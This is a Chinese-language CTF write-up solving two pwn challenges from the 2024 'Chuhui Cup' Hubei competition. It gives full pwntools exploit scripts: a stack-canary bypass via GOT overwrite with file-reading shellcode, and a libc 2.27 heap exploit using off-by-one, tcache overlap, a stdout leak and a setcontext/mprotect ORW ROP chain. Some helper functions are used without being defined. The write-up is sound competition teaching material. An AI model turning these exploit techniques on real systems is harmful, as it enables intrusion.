2024年第九届“楚慧杯”湖北省网络与数据安全实践能力竞赛 pwn全解
字数 1218 2025-08-22 12:22:42
"楚慧杯"湖北省网络与数据安全实践能力竞赛PWN题解教学文档
1. Canary题目解析
1.1 程序保护机制分析
- 开启了Canary保护
- 存在栈溢出漏洞
- 存在任意地址写漏洞
1.2 漏洞利用思路
-
绕过Canary保护:
- 通过修改
__stack_chk_fail的GOT表项为leave; ret指令地址(0x4008ef) - 当Canary检查失败时,程序会跳转到修改后的地址执行
- 通过修改
-
控制程序流:
- 利用
jmp rsp指令(0x40081B)实现代码执行 - 通过栈溢出覆盖返回地址为
jmp rsp地址
- 利用
-
执行Shellcode:
- 在栈上布置Shellcode,实现文件读取功能
1.3 关键利用步骤
- 发送初始payload触发漏洞
- 修改
__stack_chk_fail的GOT表项 - 构造ROP链和Shellcode
- 触发Canary检查失败执行Shellcode
1.4 完整利用代码
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
filename = "./canary"
mx = process(filename)
elf = ELF(filename)
# 触发初始漏洞
rl("Say some old spells to start the journey\n")
payload = p64(0x400820)
s(payload)
# 修改__stack_chk_fail的GOT表项
rl("Tell me the location of the Eye of the Deep Sea\n")
s(b'a'*8 + p64(0x601038)) # __stack_chk_fail的GOT地址
rl("I have magic\n")
magic = 0x4008EF # leave; ret地址
s(p64(magic))
# 构造Shellcode并执行
rl("Let's go!\n")
jmp_rsp = 0x40081B
shellcode = asm('''
push 0x67616c66 # 'flag'
mov rdi, rsp
xor esi, esi
push 2
pop rax
syscall # open("flag", 0)
mov rdi, rax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall # read(fd, rsp, 0x100)
mov edi, 1
mov rsi, rsp
push 1
pop rax
syscall # write(1, buf, 0x100)
''')
payload = p64(0)*5 + p64(jmp_rsp) + shellcode
s(payload)
inter()
2. Ezheap题目解析
2.1 程序保护机制分析
- 使用libc 2.27
- 存在off-by-one漏洞
- 没有show函数
- 堆大小限制较少
2.2 漏洞利用思路
-
堆叠攻击:
- 通过两次堆叠将tcache和unsorted bin叠在同一堆块
- 利用tcache bin attack修改末尾2字节为stdout地址
-
泄露libc地址:
- 通过stdout攻击泄露libc基地址
-
绕过沙箱:
- 使用mprotect+ROP技术绕过沙箱限制
- 实现ORW(Open-Read-Write)读取flag
2.3 关键利用步骤
- 构造堆布局,利用off-by-one修改chunk size
- 触发堆叠,合并tcache和unsorted bin
- 通过gift功能泄露堆地址
- 修改tcache指针指向stdout
- 通过stdout攻击泄露libc地址
- 构造ROP链实现mprotect和文件操作
2.4 完整利用代码
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
filename = "./ezheap"
mx = process(filename)
elf = ELF(filename)
libc = elf.libc
# 堆操作函数
def menu(num):
rl("Your choice:\n")
sl(str(num))
def add(index, size):
menu(1)
rl("index:\n")
sl(str(index))
rl("Size:")
sl(str(size))
def edit(index, content):
menu(2)
rl("index:\n")
sl(str(index))
rl("context: \n")
s(content)
def delete(index):
menu(3)
rl("index:\n")
sl(str(index))
def gift(num):
menu(4)
rl("choose:\n")
sl(str(num))
# 构造堆布局
add(0, 0x58)
add(1, 0x58)
add(2, 0x68)
edit(0, b'\x00'*0x58 + p8(0xd1)) # off-by-one修改chunk size
delete(1)
add(1, 0xc0)
delete(2)
add(3, 0x58)
add(4, 0x3f8)
add(5, 0x38)
add(6, 0x38)
add(7, 0x38)
edit(3, b'\x00'*0x58 + p8(0xc1)) # 再次修改chunk size
add(8, 0xf8)
delete(4)
delete(5)
add(9, 0x3f8)
# 泄露堆地址
gift(1)
heap_addr = int(mx.recv(14), 16)
log.info(f"Heap address: {hex(heap_addr)}")
# tcache bin attack修改stdout
edit(1, b'a'*0x58 + p64(0x71) + p64(heap_addr))
add(10, 0x68)
add(11, 0x68)
edit(11, b'\x60' + b'\xc7') # 修改为stdout地址
# 泄露libc地址
add(12, 0x38)
add(13, 0x38)
payload = p64(0xfbad1800) + p64(0)*3 + b'\x00'
edit(13, payload)
libc_addr = l64() - 0x3ed8b0
libc.address = libc_addr
log.info(f"Libc base address: {hex(libc_addr)}")
# 准备ROP链
setcontext_53 = libc.sym['setcontext'] + 53
free_hook = libc.sym['__free_hook']
pop_rdi = 0x000000000002164f + libc_addr
pop_rsi = 0x0000000000023a6a + libc_addr
pop_rdx = 0x0000000000001b96 + libc_addr
open_addr = libc.sym['open']
read_addr = libc.sym['read']
write_addr = libc.sym['write']
mprotect_addr = libc.sym['mprotect']
flag_addr = heap_addr - 0x590
# 构造ORW ROP链
orw = b''
orw += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr)
# 修改free_hook为setcontext+53
edit_(9, orw)
rop_addr = heap_addr - 0x400
# 构造mprotect调用
p1 = b''
p1 = p1.ljust(0x68, b'\x00') + p64(heap_addr-0x7f0)
p1 = p1.ljust(0x70, b'\x00') + p64(0x2000)
p1 = p1.ljust(0x78, b'\x00') + p64(rop_addr)
p1 = p1.ljust(0x88, b'\x00') + p64(7)
p1 = p1.ljust(0xa0, b'\x00') + p64(rop_addr)
p1 = p1.ljust(0xa8, b'\x00') + p64(mprotect_addr)
edit_(8, p1)
# 触发漏洞
delete_(8)
inter()
3. 总结与技巧
3.1 Canary绕过技巧
- 修改
__stack_chk_fail的GOT表项是绕过Canary的有效方法 - 结合
jmp rsp可以执行栈上的Shellcode - 注意利用程序中已有的gadget减少ROP链复杂度
3.2 堆利用技巧
- libc 2.27的tcache机制可以利用off-by-one漏洞进行攻击
- 堆叠技术可以合并不同bin的chunk,增加利用可能性
- stdout攻击是泄露libc地址的有效方法,特别是在没有show函数的情况下
3.3 沙箱绕过技巧
- mprotect+ROP是绕过沙箱的常用方法
- ORW(Open-Read-Write)是读取flag的标准方法
- 合理利用setcontext+53可以控制更多寄存器,方便构造ROP链
3.4 调试技巧
- 在关键步骤前使用pause()方便附加调试器
- 使用log.info()记录关键地址信息
- 动态调整payload以适应不同的运行环境